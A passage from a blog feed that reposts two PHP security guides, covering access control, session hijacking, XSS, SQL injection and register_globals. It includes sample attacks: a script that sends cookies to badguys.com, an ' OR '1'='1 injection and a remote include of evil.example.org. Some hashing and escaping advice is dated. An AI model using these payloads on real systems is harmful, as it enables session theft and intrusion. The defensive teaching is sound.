&lt;br /&gt;You should be as restrictive as possible when you validate any input. If some characters don't need to be included,&lt;br /&gt;you should probably either strip them out, or reject the input completely.&lt;br /&gt;Access Control Flaws&lt;br /&gt;Another type of flaw that's not necessarily restricted to PHP applications, but is important nonetheless, is the access&lt;br /&gt;control type of vulnerability. This flaw rears its head when you have certain sections of your application that must be&lt;br /&gt;restricted to certain users, such as an administration page that allows configuration settings to be changed, or&lt;br /&gt;displays sensitive information.&lt;br /&gt;You should check the user's access privileges upon every load of a restricted page of your PHP application. If you&lt;br /&gt;check the user's credentials on the index page only, a malicious user could directly enter a URL to a "deeper" page,&lt;br /&gt;html&lt;br /&gt;JavaScript&lt;br /&gt;Top 7 PHP Security Blunders http://www.sitepoint.com/print/php-security-blunders&lt;br /&gt;3 of 9 2/17/2008 9:36 PM&lt;br /&gt;which would bypass this credential checking process.&lt;br /&gt;It's also advisable to layer your security, for example, by restricting user access on the basis of the user's IP address as&lt;br /&gt;well as their user name, if you have the luxury of writing an application for users that will have predictable or fixed&lt;br /&gt;IPs. Placing your restricted pages in a separate directory that's protected by an [5] .htaccess file is also good&lt;br /&gt;practice.&lt;br /&gt;Place configuration files outside your Web- [6] directory. A configuration file can contain database&lt;br /&gt;passwords and other information that could be used by malicious users to penetrate or deface your site; never allow&lt;br /&gt;these files to be accessed by remote users. Use the PHP include function to include these files from a directory that's&lt;br /&gt;not Web-accessible, possibly including an .htaccess file containing "deny from all" just in case the directory is ever&lt;br /&gt;made Web-accessible by adiminstrator error. Though this is redundant, layering security is a positive thing.&lt;br /&gt;For my PHP applications, I prefer a directory structure based on the sample below. All function libraries, classes and&lt;br /&gt;configuration files are stored in the includes directory. Always name these include files with a .php extension, so that&lt;br /&gt;even if all your protection is bypassed, the Web server will parse the PHP code, and will not display it to the user. The&lt;br /&gt;www and admin directories are the only directories whose files can be accessed directly by a URL; the admin&lt;br /&gt;directory is protected by an .htaccess file that allows users entry only if they know a user name and password that's&lt;br /&gt;stored in the .htpasswd file in the root directory of the site.&lt;br /&gt;/home&lt;br /&gt;/httpd&lt;br /&gt;/www.example.com&lt;br /&gt;.htpasswd&lt;br /&gt;/includes&lt;br /&gt;cart.class.php&lt;br /&gt;config.php&lt;br /&gt;/logs&lt;br /&gt;access_log&lt;br /&gt;error_log&lt;br /&gt;/www&lt;br /&gt;index.php&lt;br /&gt;/admin&lt;br /&gt;.htaccess&lt;br /&gt;index.php&lt;br /&gt;You should set your Apache directory indexes to 'index.php', and keep an index.php file in every directory. Set it to&lt;br /&gt;redirect to your main page if the directory should not be browsable, such as an images directory or similar.&lt;br /&gt;Never, ever, make a backup of a php file in your Web-exposed directory by adding .bak or another extension to the&lt;br /&gt;filename. Depending on the Web server you use (Apache thankfully appears to have safeguards for this), the PHP&lt;br /&gt;code in the file will not be parsed by the Web server, and may be output as source to a user who stumbles upon a URL&lt;br /&gt;to the backup file. If that file contained passwords or other sensitive information, that information would be readable&lt;br /&gt;-- it could even end up being indexed by Google if the spider stumbled upon it! Renaming files to have a .bak.php&lt;br /&gt;extension is safer than tacking a .bak onto the .php extension, but the best solution is to use a source code version&lt;br /&gt;control system like CVS. CVS can be complicated to learn, but the time you spend will pay off in many ways. The&lt;br /&gt;system saves every version of each file in your project, which can be invaluable when changes are made that cause&lt;br /&gt;problems later.&lt;br /&gt;Session ID Protection&lt;br /&gt;apache&lt;br /&gt;accessible&lt;br /&gt;Top 7 PHP Security Blunders http://www.sitepoint.com/print/php-security-blunders&lt;br /&gt;4 of 9 2/17/2008 9:36 PM&lt;br /&gt;Session ID hijacking can be a problem with PHP Websites. The PHP session tracking component uses a unique ID for&lt;br /&gt;each user's session, but if this ID is known to another user, that person can hijack the user's session and see&lt;br /&gt;information that should be confidential. Session ID hijacking cannot completely be prevented; you should know the&lt;br /&gt;risks so you can mitigate them.&lt;br /&gt;For instance, even after a user has been validated and assigned a session ID, you should revalidate that user when he&lt;br /&gt;or she performs any highly sensitive actions, such as resetting passwords. Never allow a session-validated user to&lt;br /&gt;enter a new password without also entering their old password, for example. You should also avoid displaying truly&lt;br /&gt;sensitive data, such as credit card numbers, to a user who has only been validated by session ID.&lt;br /&gt;A user who creates a new session by logging in should be assigned a fresh session ID using the&lt;br /&gt;session_regenerate_id function. A hijacking user will try to set his session ID prior to login; this can be&lt;br /&gt;prevented if you regenerate the ID at login.&lt;br /&gt;If your site is handling critical information such as credit card numbers, always use an SSL secured connection. This&lt;br /&gt;will help reduce session hijacking vulnerabilities since the session ID cannot be sniffed and easily hijacked.&lt;br /&gt;If your site is run on a shared Web server, be aware that any session variables can easily be viewed by any other users&lt;br /&gt;on the same server. Mitigate this vulnerability by storing all sensitive data in a database record that's keyed to the&lt;br /&gt;session ID rather than as a session variable. If you must store a password in a session variable (and I stress again that&lt;br /&gt;it's best just to avoid this), do not store the password in clear text; use the sha1() (PHP 4.3+) or md5() function&lt;br /&gt;to store the hash of the password instead.&lt;br /&gt;if ($_SESSION['password'] == $userpass) {&lt;br /&gt;// do sensitive things here&lt;br /&gt;}&lt;br /&gt;The above code is not secure, since the password is stored in plain text in a session variable. Instead, use code more&lt;br /&gt;like this:&lt;br /&gt;if ($_SESSION['sha1password'] == sha1($userpass)) {&lt;br /&gt;// do sensitive things here&lt;br /&gt;}&lt;br /&gt;The SHA-1 algorithm is not without its flaws, and further advances in computing power are making it possible to&lt;br /&gt;generate what are known as collisions (different strings with the same SHA-1 sum). Yet the above technique is still&lt;br /&gt;vastly superior to storing passwords in clear text. Use MD5 if you must -- since it's superior to a clear text-saved&lt;br /&gt;password -- but keep in mind that recent developments have made it possible to generate MD5 collisions in less than&lt;br /&gt;an hour on standard PC hardware. Ideally, one should use a function that implements SHA-256; such a function&lt;br /&gt;does not currently ship with PHP and must be found separately.&lt;br /&gt;For further reading on hash collisions, among other security related topics, Bruce Schneier's Website [7] is a great&lt;br /&gt;resource.&lt;br /&gt;Cross Site Scripting (XSS) Flaws&lt;br /&gt;Cross site scripting, or XSS, flaws are a subset of user validation where a malicious user embeds scripting commands&lt;br /&gt;-- usually JavaScript -- in data that is displayed and therefore executed by another user.&lt;br /&gt;For example, if your application included a forum in which people could post messages to be read by other users, a&lt;br /&gt;malicious user could embed a &lt;script&gt; tag, shown below, which would reload the page to a site controlled by them,&lt;br /&gt;Top 7 PHP Security Blunders http://www.sitepoint.com/print/php-security-blunders&lt;br /&gt;5 of 9 2/17/2008 9:36 PM&lt;br /&gt;pass your [8] and session information as GET variables to their page, then reload your page as though nothing&lt;br /&gt;had happened. The malicious user could thereby collect other users' cookie and session information, and use this&lt;br /&gt;data in a session hijacking or other attack on your site.&lt;br /&gt;&lt;script&gt;&lt;br /&gt;document.location =&lt;br /&gt;'http://www.badguys.com/cgi-bin/cookie.php?' +&lt;br /&gt;document.cookie;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;To prevent this type of attack, you need to be careful about displaying user-submitted content verbatim on a Web&lt;br /&gt;page. The easiest way to protect against this is simply to escape the characters that make up HTML syntax (in&lt;br /&gt;particular, &lt; and &gt;) to HTML character entities (&amp;lt; and &amp;gt;), so that the submitted data is treated as plain text&lt;br /&gt;for display purposes. Just pass the data through PHP's htmlspecialchars function as you are producing the&lt;br /&gt;output.&lt;br /&gt;If your application requires that your users be able to submit HTML content and have it treated as such, you will&lt;br /&gt;instead need to filter out potentially harmful tags like &lt;script&gt;. This is best done when the content is first&lt;br /&gt;submitted, and will require a bit of regular expressions know-how.&lt;br /&gt;The Cross Site Scripting FAQ [9] at cgisecurity.com [10] provides much more information and background on this&lt;br /&gt;type of flaw, and explains it well. I highly recommend reading and understanding it. XSS flaws can be difficult to spot&lt;br /&gt;and are one of the easier mistakes to make when programming a PHP application, as illustrated by the high number&lt;br /&gt;of XSS advisories issued on the popular security mailing lists.&lt;br /&gt;SQL Injection Vulnerabilities&lt;br /&gt;SQL injection vulnerabilities are yet another class of input validation flaws. Specifically, they allow for the&lt;br /&gt;exploitation of a database query. For example, in your PHP script, you might ask the user for a user ID and password,&lt;br /&gt;then check for the user by passing the database a query and checking the result.&lt;br /&gt;SELECT * FROM users WHERE name='$username' AND pass='$password';&lt;br /&gt;However, if the user who's logging in is devious, he may enter the following as his password:&lt;br /&gt;' OR '1'='1&lt;br /&gt;This results in the query being sent to the database as:&lt;br /&gt;SELECT * FROM users WHERE name='known_user' AND pass='' OR '1'='1';&lt;br /&gt;This will return the username without validating the password -- the malicious user has gained entry to your&lt;br /&gt;application as a user of his choice. To alleviate this problem, you need to escape dangerous characters from the&lt;br /&gt;user-submitted values, most particularly the single quotes ('). The simplest way to do this is to use PHP's&lt;br /&gt;addslashes() function.&lt;br /&gt;$username = addslashes($_POST["username"]);&lt;br /&gt;$password = addslashes($_POST["password"]);&lt;br /&gt;But depending on your PHP configuration, this may not be necessary! PHP's much-reviled magic quotes feature is&lt;br /&gt;enabled by default in current versions of PHP. This feature, which can be disabled by setting the&lt;br /&gt;cookie&lt;br /&gt;Top 7 PHP Security Blunders http://www.sitepoint.com/print/php-security-blunders&lt;br /&gt;6 of 9 2/17/2008 9:36 PM&lt;br /&gt;magic_quotes_gpc php.ini variable to Off, will automatically apply addslashes to all values submitted&lt;br /&gt;via GET, POST or [11]. This feature safeguards against inexperienced developers who might otherwise leave&lt;br /&gt;security holes like the one described above, but it has an unfortunate impact on performance when input values do&lt;br /&gt;not need to be escaped for use in database queries. Thus, most experienced developers elect to switch this feature off.&lt;br /&gt;If you're developing software that may be installed on shared servers where you might not be able to change the&lt;br /&gt;php.ini file, use code to check that status of magic_quotes_gpc and, if it is turned on, pass all input values&lt;br /&gt;through PHP's stripslashes() function. You can then apply addslashes() to any values destined for use&lt;br /&gt;in database queries as you would normally.&lt;br /&gt;if (get_magic_quotes_gpc()){&lt;br /&gt;$_GET = array_map('stripslashes', $_GET);&lt;br /&gt;$_POST = array_map('stripslashes', $_POST);&lt;br /&gt;$_COOKIE = array_map('stripslashes', $_COOKIE);&lt;br /&gt;}&lt;br /&gt;SQL injection flaws do not always lead to privilege escalation. For instance, they can allow a malicious user to output&lt;br /&gt;selected database records if the result of the query is printed to your HTML output.&lt;br /&gt;You should always check user-provided data that will be used in a query for the characters '",;() and, possibly,&lt;br /&gt;for the keywords "FROM", "LIKE", and "WHERE" in a case-insensitive fashion. These are the characters and&lt;br /&gt;keywords that are useful in a SQL insertion attack, so if you strip them from user inputs in which they're&lt;br /&gt;unnecessary, you'll have much less to worry about from this type of flaw.&lt;br /&gt;Error Reporting&lt;br /&gt;You should ensure that your display_errors php.ini value is set to "0". Otherwise, any errors that are&lt;br /&gt;encountered in your code, such as database connection errors, will be output to the end user's browser. A malicious&lt;br /&gt;user could leverage this flaw to gain information about the internal workings of your application, simply by providing&lt;br /&gt;bad input and reading the error messages that result.&lt;br /&gt;The display_errors value can be set at runtime using the ini_set function, but this is not as desirable as&lt;br /&gt;setting it in the ini file, since a fatal compilation error of your script will still be displayed: if the script has a fatal&lt;br /&gt;error and cannot run, the ini_set function is not run.&lt;br /&gt;Instead of displaying errors, set the error_log ini variable to "1" and check your PHP error log frequently for&lt;br /&gt;caught errors. Alternatively, you can develop your own error handling functions that are automatically invoked when&lt;br /&gt;PHP encounters an error, and can email you or execute other PHP code of your choice. This is a wise precaution to&lt;br /&gt;take, as you will be notified of an error and have it fixed possibly before malicious users even know the problem&lt;br /&gt;exists. Read the PHP manual pages on error handling [12] and learn about the set_error_handler()&lt;br /&gt;function.&lt;br /&gt;Data Handling Errors&lt;br /&gt;Data handling errors aren't specific to PHP per se, but PHP application developers still need to be aware of them.&lt;br /&gt;This class of error arises when data is handled in an insecure manner, which makes it available to possible&lt;br /&gt;interception or modification by malicious parties.&lt;br /&gt;The most common type of data handling error is in the unencrypted HTTP transmission of sensitive data that should&lt;br /&gt;be transmitted via HTTPS. Credit card numbers and customer information are the most common types of secured&lt;br /&gt;cookies&lt;br /&gt;Top 7 PHP Security Blunders http://www.sitepoint.com/print/php-security-blunders&lt;br /&gt;7 of 9 2/17/2008 9:36 PM&lt;br /&gt;data, but if you transmit usernames and passwords over a regular HTTP connection, and those usernames and&lt;br /&gt;passwords allow access to sensitive material, you might as well transmit the sensitive material itself over an&lt;br /&gt;unencrypted connection. Use SSL security whenever you transmit sensitive data from your application to a user's&lt;br /&gt;browser. Otherwise, a malicious eavesdropper on any router between your server and the end user can very easily&lt;br /&gt;sniff the sensitive information out of the network packets.&lt;br /&gt;The same type of risk can occur when applications are updated using FTP, which is an insecure protocol.&lt;br /&gt;Transferring a PHP file that contains database passwords to your remote Webserver over an insecure protocol like&lt;br /&gt;FTP can allow an eavesdropper to sniff the packets and reveal your password. Always use a secure protocol like SFTP&lt;br /&gt;or SCP to transmit sensitive files. Never allow sensitive information to be sent by your application via email, either.&lt;br /&gt;An email message is readable by anyone who's capable of reading the network traffic. A good rule of thumb is that if&lt;br /&gt;you wouldn't write the information on the back of a postcard and put it through the mail, you shouldn't send it via&lt;br /&gt;email, either. The chance anyone will actually intercept the message may be low, but why risk it?&lt;br /&gt;It's important to minimize your exposure to data handling flaws. For example, if your application is an online store,&lt;br /&gt;is it necessary to save the credit card numbers attached to orders that are more than six months old? Archive the data&lt;br /&gt;and store it offline, limiting the amount of data that can be compromised if your Webserver is breached. It's basic&lt;br /&gt;security practice not only to attempt to prevent an intrusion or compromise, but also to mitigate the negative effects&lt;br /&gt;of a successful compromise. No security system is ever perfect, so don't assume that yours is. Take steps to minimize&lt;br /&gt;the fallout if you do suffer a penetration.&lt;br /&gt;Configuring PHP For Security&lt;br /&gt;Generally, most new PHP installations that use recent PHP releases are configured with much stronger security&lt;br /&gt;defaults than was standard in past PHP releases. However, your application may be installed on a legacy server that&lt;br /&gt;has had its version of PHP upgraded, but not the php.ini file. In this case, the default settings may not be as secure as&lt;br /&gt;the default settings on a fresh install.&lt;br /&gt;You should create a page that calls the phpinfo() function to list your php.ini variables and scan them for&lt;br /&gt;insecure settings. Keep this page in a restricted place and do not allow public access to it. The output of&lt;br /&gt;phpinfo() contains information that a potential hacker might find extremely useful.&lt;br /&gt;Some settings to consider when configuring PHP for security include:&lt;br /&gt;register_globals: The boogeyman of PHP security is register_globals, which used to default&lt;br /&gt;to "on" in older releases of PHP but has since been changed to default to "off". It exports all user input as&lt;br /&gt;global variables. Check this setting and disable it -- no buts, no exceptions. Just do it! This setting is possibly&lt;br /&gt;responsible for more PHP security flaws than any other single cause. If you're on a shared host, and they won't&lt;br /&gt;let you disable register_globals, get a new host!&lt;br /&gt;1.&lt;br /&gt;safe_mode: The safe mode setting can be very useful to prevent unauthorized access to local system files. It&lt;br /&gt;works by only allowing the reading of files that are owned by the user account that owns the executing PHP&lt;br /&gt;script. If your application opens local files often, consider enabling this setting.&lt;br /&gt;2.&lt;br /&gt;disable_functions: This setting can only be set in your php.ini file, not at runtime. It can be set to a list&lt;br /&gt;of functions that you would like disabled in your PHP installation. It can help prevent the possible execution of&lt;br /&gt;harmful PHP code. Some functions that are useful to disable if you do not use them are system and exec, which&lt;br /&gt;allow the execution of external programs.&lt;br /&gt;3.&lt;br /&gt;Read the security section of the PHP manual [13] and get to know it well. Treat it as material for a test you'll take and&lt;br /&gt;get to know it backwards and forwards. You will be tested on the material by the hackers who will indubitably&lt;br /&gt;Top 7 PHP Security Blunders http://www.sitepoint.com/print/php-security-blunders&lt;br /&gt;8 of 9 2/17/2008 9:36 PM&lt;br /&gt;attempt to penetrate your site. You get a passing grade on the test if the hackers give up and move on to an easier&lt;br /&gt;target whose grasp of these concepts is insufficient.&lt;br /&gt;Further Reading&lt;br /&gt;The following sites are recommended reading to maintain your security knowledge. New flaws and new forms of&lt;br /&gt;exploits are discovered all the time, so you cannot afford to rest on your laurels and assume you have all the bases&lt;br /&gt;covered. As I stated in the introduction to this article, "Security is a process", but security education is also a process,&lt;br /&gt;and your knowledge must be maintained.&lt;br /&gt;OWASP, The Open Web Application Security Project [14], is a non-profit oganisation dedicated to "finding and&lt;br /&gt;fighting the causes of insecure software". The resources it provides are invaluable and the group has many local&lt;br /&gt;chapters that hold regular meetings with seminars and roundtable discussions. Highly recommended.&lt;br /&gt;CGISecurity.Net [15] is another good site dealing with Web application security. They have some interesting FAQs&lt;br /&gt;and more in-depth documentation on some of the types of flaws I've discussed in this article.&lt;br /&gt;The security section of the PHP Manual [16] is a key resource that I mentioned above, but I include it here again,&lt;br /&gt;since it's full of great information that's directly applicable to PHP. Don't gloss over the comments at the bottom of&lt;br /&gt;each page: some of the best and most up-to-date information can be found in the user-contributed notes.&lt;br /&gt;The PHP Security Consortium [17] offers a library with links to other helpful resources, PHP-specific summaries of&lt;br /&gt;the SecurityFocus newsletters, the PHP Security Guide, and a couple of articles.&lt;br /&gt;The BugTraq mailing list [18] is a great source of security related advisories that you should read if you're interested&lt;br /&gt;in security in general. You may be shocked by the number of advisories that involve popular PHP applications&lt;br /&gt;allowing SQL insertion, Cross Site Scripting and some of the other flaws I've discussed here.&lt;br /&gt;Linux Security [19] is another good site that is not necessarily restricted to PHP but, since you are likely running a&lt;br /&gt;Linux Webserver to host your PHP applications, it's useful to try to stay up to date on the latest advisories and news&lt;br /&gt;related to your chosen Linux distribution. Don't assume your hosting company is on top of these developments; be&lt;br /&gt;aware on your own -- your security is only as good as your weakest point. It does you no good to have a tightly&lt;br /&gt;secured PHP application running on a server with an outdated service that exposes a well-known and exploitable&lt;br /&gt;flaw.&lt;br /&gt;Conclusions&lt;br /&gt;As I've shown in this article, there are many things to be aware of when programming secure PHP applications,&lt;br /&gt;though this is true with any language, and any server platform. PHP is no less secure than many other common&lt;br /&gt;development languages. The most important thing is to develop a proper security mindset and to know your tools&lt;br /&gt;well. I hope you enjoyed this article and learned something as well! Remember: just because you're paranoid doesn't&lt;br /&gt;mean there's no one out to get you.&lt;br /&gt;Back to SitePoint.com&lt;br /&gt;[1] /glossary.php?q=P#term_1&lt;br /&gt;[2] /glossary.php?q=U#term_22&lt;br /&gt;[3] /glossary.php?q=H#term_75&lt;br /&gt;[4] /glossary.php?q=J#term_9&lt;br /&gt;[5] /glossary.php?q=A#term_19&lt;br /&gt;[6] /glossary.php?q=A#term_61&lt;br /&gt;Top 7 PHP Security Blunders http://www.sitepoint.com/print/php-security-blunders&lt;br /&gt;9 of 9 2/17/2008 9:36 PM&lt;br /&gt;[7] http://www.schneier.com&lt;br /&gt;[8] /glossary.php?q=C#term_59&lt;br /&gt;[9] http://www.cgisecurity.com/articles/xss-faq.shtml&lt;br /&gt;[10] http://www.cgisecurity.com/&lt;br /&gt;[11] /glossary.php?q=C#term_59&lt;br /&gt;[12] http://www.php.net/errorfunc&lt;br /&gt;[13] http://www.php.net/manual/en/security.php&lt;br /&gt;[14] http://www.owasp.org/index.jsp&lt;br /&gt;[15] http://www.cgisecurity.net/&lt;br /&gt;[16] http://www.php.net/manual/en/security.php&lt;br /&gt;[17] http://phpsec.org/&lt;br /&gt;[18] http://www.securityfocus.com/archive/1&lt;br /&gt;[19] http://www.linuxsecurity.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-3352946348090765223?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/3352946348090765223/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=3352946348090765223&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/3352946348090765223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/3352946348090765223'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/php-security-blunders.html' title='PHP Security Blunders'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-2612832457577140177</id><published>2008-03-21T02:06:00.000-07:00</published><updated>2008-03-21T02:20:21.817-07:00</updated><title type='text'>PHP Security </title><content type='html'>What Is Security?&lt;br /&gt;l Security is a measurement, not a characteristic.&lt;br /&gt;It is unfortunate that many software projects list security as a simple requirement to be met. Is it secure? This&lt;br /&gt;question is as subjective as asking if something is hot.&lt;br /&gt;l Security must be balanced with expense.&lt;br /&gt;It is easy and relatively inexpensive to provide a sufficient level of security for most applications. However, if your&lt;br /&gt;security needs are very demanding, because you're protecting information that is very valuable, then you must&lt;br /&gt;achieve a higher level of security at an increased cost. This expense must be included in the budget of the project.&lt;br /&gt;l Security must be balanced with usability.&lt;br /&gt;It is not uncommon that steps taken to increase the security of a web application also decrease the usability.&lt;br /&gt;Passwords, session timeouts, and access control all create obstacles for a legitimate user. Sometimes these are&lt;br /&gt;necessary to provide adequate security, but there isn't one solution that is appropriate for every application. It is wise&lt;br /&gt;to be mindful of your legitimate users as you implement security measures.&lt;br /&gt;l Security must be part of the design.&lt;br /&gt;If you do not design your application with security in mind, you are doomed to be constantly addressing new security&lt;br /&gt;vulnerabilities. Careful programming cannot make up for a poor design.&lt;br /&gt;Basic Steps&lt;br /&gt;l Consider illegitimate uses of your application.&lt;br /&gt;A secure design is only part of the solution. During development, when the code is being written, it is important to&lt;br /&gt;consider illegitimate uses of your application. Often, the focus is on making the application work as intended, and&lt;br /&gt;while this is necessary to deliver a properly functioning application, it does nothing to help make the application&lt;br /&gt;secure.&lt;br /&gt;l Educate yourself.&lt;br /&gt;The fact that you are here is evidence that you care about security, and as trite as it may sound, this is the most&lt;br /&gt;important step. There are numerous resources available on the web and in print, and several resources are listed in&lt;br /&gt;the PHP Security Consortium's Library at http://phpsec.org/library/.&lt;br /&gt;Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information&lt;br /&gt;PHP Security Consortium: PHP Security Guide&lt;br /&gt;l If nothing else, FILTER ALL EXTERNAL DATA.&lt;br /&gt;Data filtering is the cornerstone of web application security in any language and on any platform. By initializing your&lt;br /&gt;variables and filtering all data that comes from an external source, you will address a majority of security&lt;br /&gt;vulnerabilities with very little effort. A whitelist approach is better than a blacklist approach. This means that you&lt;br /&gt;should consider all data invalid unless it can be proven valid (rather than considering all data valid unless it can be&lt;br /&gt;proven invalid).&lt;br /&gt;Register Globals&lt;br /&gt;The register_globals directive is disabled by default in PHP versions 4.2.0 and greater. While it does not represent a&lt;br /&gt;security vulnerability, it is a security risk. Therefore, you should always develop and deploy applications with&lt;br /&gt;register_globals disabled.&lt;br /&gt;Why is it a security risk? Good examples are difficult to produce for everyone, because it often requires a unique situation to&lt;br /&gt;make the risk clear. However, the most common example is that found in the PHP manual:&lt;br /&gt;&lt;?php&lt;br /&gt;if (authenticated_user())&lt;br /&gt;{&lt;br /&gt;$authorized = true;&lt;br /&gt;}&lt;br /&gt;if ($authorized)&lt;br /&gt;{&lt;br /&gt;include '/highly/sensitive/data.php';&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;With register_globals enabled, this page can be requested with ?authorized=1 in the query string to bypass the&lt;br /&gt;intended access control. Of course, this particular vulnerability is the fault of the developer, not register_globals, but this&lt;br /&gt;indicates the increased risk posed by the directive. Without it, ordinary global variables (such as $authorized in the&lt;br /&gt;example) are not affected by data submitted by the client. A best practice is to initialize all variables and to develop with&lt;br /&gt;error_reporting set to E_ALL, so that the use of an uninitialized variable won't be overlooked during development.&lt;br /&gt;Another example that illustrates how register_globals can be problematic is the following use of include with a&lt;br /&gt;dynamic path:&lt;br /&gt;Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information&lt;br /&gt;PHP Security Consortium: PHP Security Guide&lt;br /&gt;&lt;?php&lt;br /&gt;include "$path/script.php";&lt;br /&gt;?&gt;&lt;br /&gt;With register_globals enabled, this page can be requested with ?path=http%3A%2F%2Fevil.example.org%2F%3F&lt;br /&gt;in the query string in order to equate this example to the following:&lt;br /&gt;&lt;?php&lt;br /&gt;include 'http://evil.example.org/?/script.php';&lt;br /&gt;?&gt;&lt;br /&gt;If allow_url_fopen is enabled (which it is by default, even in php.ini-recommended), this will include the output of&lt;br /&gt;http://evil.example.org/ just as if it were a local file. This is a major security vulnerability, and it is one that has been&lt;br /&gt;discovered in some popular open source applications.&lt;br /&gt;Initializing $path can mitigate this particular risk, but so does disabling register_globals. Whereas a developer's&lt;br /&gt;mistake can lead to an uninitialized variable, disabling register_globals is a global configuration change that is far less&lt;br /&gt;likely to be overlooked.&lt;br /&gt;The convenience is wonderful, and those of us who have had to manually handle form data in the past appreciate this.&lt;br /&gt;However, using the $_POST and $_GET superglobal arrays is still very convenient, and it's not worth the added risk to enable&lt;br /&gt;register_globals. While I completely disagree with arguments that equate register_globals to poor security, I do&lt;br /&gt;recommend that it be disabled.&lt;br /&gt;In addition to all of this, disabling register_globals encourages developers to be mindful of the origin of data, and this is&lt;br /&gt;an important characteristic of any security-conscious developer.&lt;br /&gt;Data Filtering&lt;br /&gt;As stated previously, data filtering is the cornerstone of web application security, and this is independent of programming&lt;br /&gt;language or platform. It involves the mechanism by which you determine the validity of data that is entering and exiting the&lt;br /&gt;application, and a good software design can help developers to:&lt;br /&gt;l Ensure that data filtering cannot be bypassed,&lt;br /&gt;l Ensure that invalid data cannot be mistaken for valid data, and&lt;br /&gt;l Identify the origin of data.&lt;br /&gt;Opinions about how to ensure that data filtering cannot be bypassed vary, but there are two general approaches that seem to&lt;br /&gt;Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information&lt;br /&gt;PHP Security Consortium: PHP Security Guide&lt;br /&gt;be the most common, and both of these provide a sufficient level of assurance.&lt;br /&gt;The Dispatch Method&lt;br /&gt;One method is to have a single PHP script available directly from the web (via URL). Everything else is a module included&lt;br /&gt;with include or require as needed. This method usually requires that a GET variable be passed along with every URL,&lt;br /&gt;identifying the task. This GET variable can be considered the replacement for the script name that would be used in a more&lt;br /&gt;simplistic design. For example:&lt;br /&gt;http://example.org/dispatch.php?task=print_form&lt;br /&gt;The file dispatch.php is the only file within document root. This allows a developer to do two important things:&lt;br /&gt;l Implement some global security measures at the top of dispatch.php and be assured that these measures cannot&lt;br /&gt;be bypassed.&lt;br /&gt;l Easily see that data filtering takes place when necessary, by focusing on the control flow of a specific task.&lt;br /&gt;To further explain this, consider the following example dispatch.php script:&lt;br /&gt;&lt;?php&lt;br /&gt;/* Global security measures */&lt;br /&gt;switch ($_GET['task'])&lt;br /&gt;{&lt;br /&gt;case 'print_form':&lt;br /&gt;include '/inc/presentation/form.inc';&lt;br /&gt;break;&lt;br /&gt;case 'process_form':&lt;br /&gt;$form_valid = false;&lt;br /&gt;include '/inc/logic/process.inc';&lt;br /&gt;if ($form_valid)&lt;br /&gt;{&lt;br /&gt;include '/inc/presentation/end.inc';&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;include '/inc/presentation/form.inc';&lt;br /&gt;}&lt;br /&gt;break;&lt;br /&gt;default:&lt;br /&gt;include '/inc/presentation/index.inc';&lt;br /&gt;Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information&lt;br /&gt;PHP Security Consortium: PHP Security Guide&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;If this is the only public PHP script, then it should be clear that the design of this application ensures that any global security&lt;br /&gt;measures taken at the top cannot be bypassed. It also lets a developer easily see the control flow for a specific task. For&lt;br /&gt;example, instead of glancing through a lot of code, it is easy to see that end.inc is only displayed to a user when&lt;br /&gt;$form_valid is true, and because it is initialized as false just before process.inc is included, it is clear that the logic&lt;br /&gt;within process.inc must set it to true, otherwise the form is displayed again (presumably with appropriate error&lt;br /&gt;messages).&lt;br /&gt;Note&lt;br /&gt;If you use a directory index file such as index.php (instead of dispatch.php), you can use URLs such as&lt;br /&gt;http://example.org/?task=print_form.&lt;br /&gt;You can also use the Apache ForceType directive or mod_rewrite to accommodate URLs such as&lt;br /&gt;http://example.org/app/print-form.&lt;br /&gt;The Include Method&lt;br /&gt;Another approach is to have a single module that is responsible for all security measures. This module is included at the top&lt;br /&gt;(or very near the top) of all PHP scripts that are public (available via URL). Consider the following security.inc script:&lt;br /&gt;&lt;?php&lt;br /&gt;switch ($_POST['form'])&lt;br /&gt;{&lt;br /&gt;case 'login':&lt;br /&gt;$allowed = array();&lt;br /&gt;$allowed[] = 'form';&lt;br /&gt;$allowed[] = 'username';&lt;br /&gt;$allowed[] = 'password';&lt;br /&gt;$sent = array_keys($_POST);&lt;br /&gt;if ($allowed == $sent)&lt;br /&gt;{&lt;br /&gt;include '/inc/logic/process.inc';&lt;br /&gt;}&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;Copyright © 2005 PHP Security Consortium | Some Rights Reserved | Contact Information&lt;br /&gt;PHP Security Consortium: PHP Security Guide&lt;br /&gt;In this example, each form that is submitted is expected to have a form variable named form that uniquely identifies it, and&lt;br /&gt;security.inc has a separate case to handle the data filtering for that particular form. An example of an HTML form that&lt;br /&gt;fulfills this requirement is as follows:&lt;br /&gt;&lt;form action="/receive.php" method="POST"&gt;&lt;br /&gt;&lt;input type="hidden" name="form" value="login"&gt;&lt;br /&gt;&lt;p&gt;Username:&lt;br /&gt;&lt;input type="text" name="username"&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Password:&lt;br /&gt;&lt;input type="password" name="password"&gt;&lt;/p&gt;&lt;br 